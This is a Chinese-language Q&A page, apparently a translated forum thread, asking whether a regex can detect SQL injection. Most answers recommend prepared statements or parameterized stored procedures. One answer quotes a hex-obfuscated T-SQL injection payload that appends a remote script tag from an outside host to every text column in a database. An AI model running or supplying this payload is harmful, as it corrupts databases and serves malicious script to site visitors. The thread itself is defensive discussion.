正则表达式以检测SQL注入
时间:2020-03-05 18:47:59 来源:igfitidea点击:
是否存在可以检测字符串中的SQL的正则表达式?有没有人分享过以前分享过的东西的样本?
解决方案
回答
不要这样几乎可以保证我们会失败。请改用" PreparedStatement"(或者其等效项)。
回答
我没有正则表达式,但是我的理解是最重要的是检测单引号。所有注入攻击均从此处开始。他们可能也有-in注释掉了,而其他SQL可能在字符串之后。
回答
使用存储的proc或者准备好的语句,我们将如何检测到这种情况?顺便说一句不要运行那个
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243 4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
回答
节省我们自己的问题,并使用带有预准备语句或者参数化查询的存储过程。无论如何,存储过程都是一种好习惯,因为它们就像是数据库的接口,因此我们可以更改幕后发生的事情(在存储的proc内部),但签名保持不变。准备好的声明有助于进行注射保护。